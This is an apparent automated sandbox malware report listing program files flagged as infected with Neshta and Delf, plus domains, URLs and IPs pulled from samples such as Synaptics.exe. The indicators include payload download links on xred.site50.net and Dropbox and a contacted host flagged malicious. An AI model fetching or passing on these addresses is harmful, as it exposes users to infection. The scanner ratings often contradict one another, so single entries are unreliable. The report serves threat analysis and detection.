C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Avira	W32/Delf.I
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Delf.I
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	97%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	94%	ReversingLabs	Win32.Virus.Neshta
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	100%	ReversingLabs	Win32.Virus.Neshuta
C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	100%	ReversingLabs	Win32.Virus.Neshuta

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
freedns.afraid.org	1%	Virustotal	Browse
docs.google.com	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
xred.mooo.com	8%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	0%	Avira URL Cloud	safe
http://www.eyuyan.com)DVarFileInfo$	0%	Avira URL Cloud	safe
http://crl.microsoft	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978T	0%	Avira URL Cloud	safe
https://docs.google.com/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978T	3%	Virustotal		Browse
http://crl.microsoft	0%	Virustotal		Browse
http://xred.site50.net/syn/Synaptics.rarZ	7%	Virustotal		Browse
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	0%	Avira URL Cloud	safe
https://docs.google.com/ta	0%	Avira URL Cloud	safe
https://docs.google.com/google.com/APT	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.iniZ	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl	7%	Virustotal		Browse
http://xred.site50.net/syn/SUpdate.ini	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	2%	Virustotal		Browse
https://docs.google.com/elleme	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.ini	2%	Virustotal		Browse
https://docs.google.com/	0%	Virustotal		Browse
https://drive.usercontent.google.com/z	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.iniZ	6%	Virustotal		Browse
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978w	0%	Avira URL Cloud	safe
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	0%	Virustotal		Browse
https://docs.google.com/uc?id=0BxsMXG	0%	Avira URL Cloud	safe
45.141.26.232	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	0%	Virustotal		Browse
https://aka.ms/pscore6lBcq	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978w	3%	Virustotal		Browse
45.141.26.232	3%	Virustotal		Browse
https://docs.google.com/fons	0%	Avira URL Cloud	safe
https://docs.google.com/UDTUBZFW.xlsx	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/Y	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	0%	Virustotal		Browse
https://drive.usercontent.google.com/	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rar	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/	0%	Virustotal		Browse
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	0%	Virustotal		Browse
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/	1%	Virustotal		Browse
http://xred.site50.net/syn/SSLLibrary.dll6	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	0%	Avira URL Cloud	safe
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	8%	Virustotal		Browse
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978y)_	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	1%	Virustotal		Browse
https://docs.google.com/etleniyor...	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	2%	Virustotal		Browse
https://docs.google.com/T.xlsx	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll6	3%	Virustotal		Browse
https://docs.google.com/uc?id=0;	0%	Avira URL Cloud	safe
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rar	2%	Virustotal		Browse
http://xred.site50.net/syn/SSLLibrary.dll	100%	Avira URL Cloud	malware
https://docs.google.com/rver	0%	Avira URL Cloud	safe
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	0%	Avira URL Cloud	safe
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	0%	Virustotal		Browse
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	0%	Avira URL Cloud	safe
http://crl.micros	0%	Avira URL Cloud	safe
https://drive.usercontent.google.com/7	0%	Avira URL Cloud	safe
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	6%	Virustotal		Browse
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	0%	Virustotal		Browse
http://xred.site50.net/syn/SSLLibrary.dll	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
freedns.afraid.org	69.42.215.252	true	true	1%, Virustotal, Browse	unknown
docs.google.com	216.58.206.78	true	false	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.184.225	true	false	1%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown
xred.mooo.com	unknown	unknown	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.141.26.232	true	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.eyuyan.com)DVarFileInfo$	F.exe, Synaptics.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	Synaptics.exe.2.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microsoft	powershell.exe, 00000015.00000002.2829712033.0000000007B14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2865908533.0000000008121000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978T	Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dl	F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/ta	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/google.com/APT	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SUpdate.ini	Synaptics.exe.2.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2281858184.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2802481932.0000000006529000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2823008513.0000000006039000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	._cache_F.exe, 00000003.00000002.3299291942.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3299291942.0000000002B59000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/elleme	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/z	Synaptics.exe, 00000004.00000002.2547909817.000000000DE98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978w	Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	._cache_F.exe, 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3299291942.0000000002B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2264524529.0000000004551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.00000000054CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/uc?id=0BxsMXG	Synaptics.exe, 00000004.00000002.2537824769.000000000CD2E000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2281858184.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2802481932.0000000006529000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2823008513.0000000006039000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.2264524529.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005616000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000005126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000015.00000002.2752155516.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lBcq	powershell.exe, 00000008.00000002.2264524529.0000000004551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.00000000054CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/fons	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/UDTUBZFW.xlsx	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/Y	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000004.00000002.2547909817.000000000DE98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/Synaptics.rar	Synaptics.exe.2.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	F.exe, 00000000.00000002.2697075823.0000000000190000.00000004.00000010.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/	Aut2exe.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978y)_	Synaptics.exe, 00000004.00000002.2505106985.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	Synaptics.exe.2.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	vbaProject.bin	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/etleniyor...	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.2264524529.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005616000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000005126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/T.xlsx	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	integrator.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000004.00000002.2525129927.00000000053CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2539347979.000000000D86E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2535191044.000000000AF2E000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xred.site50.net/syn/SSLLibrary.dll	Synaptics.exe.2.dr	false	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://docs.google.com/rver	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl	F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micros	powershell.exe, 00000018.00000002.2852792660.000000000774F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/7	Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
216.58.206.78	docs.google.com	United States	15169	GOOGLEUS	false
142.250.184.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	true
45.141.26.232	unknown	Netherlands	62068	SPECTRAIPSpectraIPBVNL	true

